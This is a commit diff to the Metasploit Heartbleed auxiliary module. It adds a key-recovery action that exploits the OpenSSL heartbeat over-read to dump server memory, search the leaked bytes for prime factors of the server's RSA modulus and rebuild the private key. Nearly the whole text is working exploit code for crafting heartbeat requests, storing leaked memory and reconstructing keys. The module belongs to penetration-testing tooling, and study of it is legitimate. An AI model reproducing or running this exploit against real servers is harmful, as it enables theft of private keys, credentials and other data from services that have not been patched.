Heartbleed RSA Keydump

Flattened, merge conflicts resolved, etc.
bug/bundler_fix
Jeff Jarmoc 2014-04-17 14:30:47 -05:00
parent 71a650fe6e
commit 9f30976b83
1 changed files with 183 additions and 53 deletions

View File

@ -91,6 +91,9 @@ class Metasploit3 < Msf::Auxiliary
exists in the handling of heartbeat requests, where a fake length can
be used to leak memory data in the response. Services that support
STARTTLS may also be vulnerable.
The module supports several actions, allowing for scanning, dumping of
memory contents, and private key recovery.
},
'Author' => [
'Neel Mehta', # Vulnerability discovery
@ -103,7 +106,8 @@ class Metasploit3 < Msf::Auxiliary
'wvu', # Msf module
'juan vazquez', # Msf module
'Sebastiano Di Paola', # Msf module
'Tom Sellers' # Msf module
'Tom Sellers', # Msf module
'jjarmoc' #Msf module; keydump, refactoring..
],
'References' =>
[
@ -116,15 +120,23 @@ class Metasploit3 < Msf::Auxiliary
['URL', 'http://filippo.io/Heartbleed/']
],
'DisclosureDate' => 'Apr 7 2014',
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'Actions' =>
[
['SCAN', {'Description' => 'Check hosts for vulnerability'}],
['DUMP', {'Description' => 'Dump memory contents'}],
['KEYS', {'Description' => 'Recover private keys from memory'}]
],
'DefaultAction' => 'SCAN'
)
register_options(
[
Opt::RPORT(443),
OptEnum.new('STARTTLS', [true, 'Protocol to use with STARTTLS, None to avoid STARTTLS ', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3', 'FTP' ]]),
OptEnum.new('TLSVERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]),
OptBool.new('STOREDUMP', [true, 'Store leaked memory in a file', false]),
OptEnum.new('TLS_CALLBACKS', [true, 'Protocol to use, "None" to use raw TLS sockets', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3', 'FTP' ]]),
OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]),
OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 10]),
OptInt.new('STATUS_EVERY', [true, 'How many retries until status', 5]),
OptRegexp.new('DUMPFILTER', [false, 'Pattern to filter leaked memory before storing', nil])
], self.class)
@ -242,26 +254,61 @@ class Metasploit3 < Msf::Auxiliary
end
def run_host(ip)
connect
unless datastore['STARTTLS'] == 'None'
vprint_status("#{peer} - Trying to start SSL via #{datastore['STARTTLS']}")
res = self.send(TLS_CALLBACKS[datastore['STARTTLS']])
if res.nil?
vprint_error("#{peer} - STARTTLS failed...")
case action.name
when 'SCAN'
scan(bleed)
when 'DUMP'
scan(bleed) # Scan & Dump are similar, scan() records results
when 'KEYS'
unless datastore['TLS_CALLBACKS'] == 'None'
print_error('TLS callbacks currently unsupported for keydumping action') #TODO
return
end
end
print_status("#{peer} - Scanning for private keys")
count = 0
vprint_status("#{peer} - Sending Client Hello...")
sock.put(client_hello)
print_status("#{peer} - Getting public key constants...")
n, e = get_ne
vprint_status("#{peer} - n: #{n}")
vprint_status("#{peer} - e: #{e}")
print_status("#{peer} - #{Time.now.getutc} - Starting.")
server_hello = sock.get
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
vprint_error("#{peer} - Server Hello Not Found")
datastore['MAX_KEYTRIES'].times {
# Loop up to MAX_KEYTRIES times, looking for keys
if count % datastore['STATUS_EVERY'] == 0
print_status("#{peer} - #{Time.now.getutc} - Attempt #{count}...")
end
p, q = get_factors(bleed, n) # Try to find factors in mem
unless p.nil? || q.nil?
key = key_from_pqe(p, q, e)
print_good("#{peer} - #{Time.now.getutc} - Got the private key")
print_status(key.export)
path = store_loot(
"openssl.heartbleed.server",
"text/plain",
rhost,
key.export,
nil,
"OpenSSL Heartbleed Private Key"
)
print_status("#{peer} - Private key stored in #{path}")
return
end
count += 1
}
print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES.")
else
#Shouldn't get here, since Action is Enum
print_error("Unknown Action: #{action.name}")
return
end
end
def bleed()
# This actually performs the heartbleed portion
establish_connect
vprint_status("#{peer} - Sending Heartbeat...")
sock.put(heartbeat(heartbeat_length))
hdr = sock.get_once(5)
@ -292,46 +339,51 @@ class Metasploit3 < Msf::Auxiliary
return
end
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLSVERSION']]
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLS_VERSION']]
vprint_error("#{peer} - Unexpected Heartbeat response")
disconnect
return
end
vprint_status("#{peer} - Heartbeat response, checking if there is data leaked...")
heartbeat_data = sock.get_once(heartbeat_length) # Read the magic length...
if heartbeat_data
print_good("#{peer} - Heartbeat response with leak")
report_vuln({
:host => rhost,
:port => rport,
:name => self.name,
:refs => self.references,
:info => "Module #{self.fullname} successfully leaked info"
})
if datastore['STOREDUMP']
pattern = datastore['DUMPFILTER']
if pattern
match_data = heartbeat_data.scan(pattern).join
else
match_data = heartbeat_data
end
path = store_loot(
"openssl.heartbleed.server",
"application/octet-stream",
ip,
match_data,
nil,
"OpenSSL Heartbleed server memory"
)
print_status("#{peer} - Heartbeat data stored in #{path}")
end
vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
else
vprint_error("#{peer} - Looks like there isn't leaked information...")
end
heartbeat_data = sock.get(heartbeat_length) # Read the magic length...
vprint_status("#{peer} - Heartbeat response, #{heartbeat_data.length} bytes")
disconnect
heartbeat_data
end
def scan(heartbeat_data)
if heartbeat_data
print_good("#{peer} - Heartbeat response with leak")
report_vuln({
:host => rhost,
:port => rport,
:name => self.name,
:refs => self.references,
:info => "Module #{self.fullname} successfully leaked info"
})
if datastore['MODE'] == 'DUMP' # Check mode, dump if requested.
pattern = datastore['DUMPFILTER']
if pattern
match_data = heartbeat_data.scan(pattern).join
else
match_data = heartbeat_data
end
path = store_loot(
"openssl.heartbleed.server",
"application/octet-stream",
rhost,
match_data,
nil,
"OpenSSL Heartbleed server memory"
)
print_status("#{peer} - Heartbeat data stored in #{path}")
end
vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
else
vprint_error("#{peer} - Looks like there isn't leaked information...")
end
end
def heartbeat(length)
payload = "\x01" # Heartbeat Message Type: Request (1)
payload << [length].pack("n") # Payload Length: 65535
@ -344,7 +396,7 @@ class Metasploit3 < Msf::Auxiliary
time_temp = Time.now
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
hello_data = [TLS_VERSION[datastore['TLSVERSION']]].pack("n") # Version TLS
hello_data = [TLS_VERSION[datastore['TLS_VERSION']]].pack("n") # Version TLS
hello_data << [time_epoch].pack("N") # Time in epoch format
hello_data << Rex::Text.rand_text(28) # Random
hello_data << "\x00" # Session ID length
@ -368,7 +420,85 @@ class Metasploit3 < Msf::Auxiliary
end
def ssl_record(type, data)
record = [type, TLS_VERSION[datastore['TLSVERSION']], data.length].pack('Cnn')
record = [type, TLS_VERSION[datastore['TLS_VERSION']], data.length].pack('Cnn')
record << data
end
def get_ne()
# Fetch rhost's cert, return public key values
connect(true, {"SSL" => true}) #Force SSL
cert = OpenSSL::X509::Certificate.new(sock.peer_cert)
disconnect
unless cert
print_error("#{peer} - No certificate found")
return
end
return cert.public_key.params["n"], cert.public_key.params["e"]
end
def get_factors(data, n)
# Walk through data looking for factors of n
psize = n.num_bits / 8 / 2
return if data.nil?
(0..(data.length-psize)).each{ |x|
# Try each offset of suitable length
can = OpenSSL::BN.new(data[x,psize].reverse.bytes.inject {|a,b| (a << 8) + b }.to_s)
if can > 1 && can % 2 != 0 && can.num_bytes == psize
# Only try candidates that have a chance...
q, rem = n / can
if rem == 0 && can != n
vprint_good("#{peer} - Found factor at offset #{x.to_s(16)}")
p = can
return p, q
end
end
}
return nil, nil
end
def establish_connect
connect
unless datastore['TLS_CALLBACKS'] == 'None'
vprint_status("#{peer} - Trying to start SSL via #{datastore['TLS_CALLBACKS']}")
res = self.send(TLS_CALLBACKS[datastore['TLS_CALLBACKS']])
if res.nil?
vprint_error("#{peer} - STARTTLS failed...")
return
end
end
vprint_status("#{peer} - Sending Client Hello...")
sock.put(client_hello)
server_hello = sock.get
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
vprint_error("#{peer} - Server Hello Not Found")
return
end
end
def key_from_pqe(p, q, e)
# Returns an RSA Private Key from Factors
key = OpenSSL::PKey::RSA.new()
key.p = p
key.q = q
key.n = key.p*key.q
key.e = e
phi = (key.p - 1) * (key.q - 1 )
key.d = key.e.mod_inverse(phi)
key.dmp1 = key.d % (key.p - 1)
key.dmq1 = key.d % (key.q - 1)
key.iqmp = key.q.mod_inverse(key.p)
return key
end
end